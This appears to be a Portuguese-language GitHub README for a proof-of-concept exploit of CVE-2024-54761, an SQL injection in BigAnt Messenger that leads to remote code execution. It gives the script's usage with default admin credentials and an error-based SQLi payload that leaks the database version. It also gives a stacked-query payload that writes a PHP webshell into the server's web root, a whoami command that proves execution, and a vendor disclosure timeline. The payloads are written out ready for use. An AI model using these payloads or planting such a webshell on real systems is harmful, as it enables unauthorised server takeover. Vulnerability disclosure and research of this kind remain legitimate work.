nscan9/cve-2024-54761PoC do CVE-2024-54761
Vulnerabilidade de injeção SQL no BigAnt Messenger causa vulnerabilidade RCE. Siga os passos para explorar.
Uso:
CVE-2024-54761.py [-h] -r RHOST [-p RPORT] [-u USERNAME] [-P PASSWORD]
options:
-h, --help show this help message and exit
-r, --rhost RHOST Target IP address
-p, --rport RPORT Target port (default 8000)
-u, --username USERNAME
Login username (default admin)
-P, --password PASSWORD
Login password (default 123456)
Execute exploit para credenciais padrão.
python CVE-2024-54761.py -r 127.0.0.1
Extrair a versão do banco de dados usada com o parâmetro dev_code que está exposto à SQLi.
# Payload
?dev_code=AND EXTARCTVALUE(rand(),concat(CHAR(126),version(),CHAR(126)))--
Fazer upload de webshell PHP no alvo usando consultas SQL empilhadas.
# Payload
?dev_code=;SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE 'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php'-- -
Prova de execução de comandos:
/shell.php?cmd=whoami
31-10-2024: Enviou vulnerabilidades ao fornecedor por e-mail
31-10-2024: Enviou e-mail ao fornecedor, sem resposta
15-11-2024: Enviou e-mail ao fornecedor, sem resposta
15-11-2024: Solicitou CVEs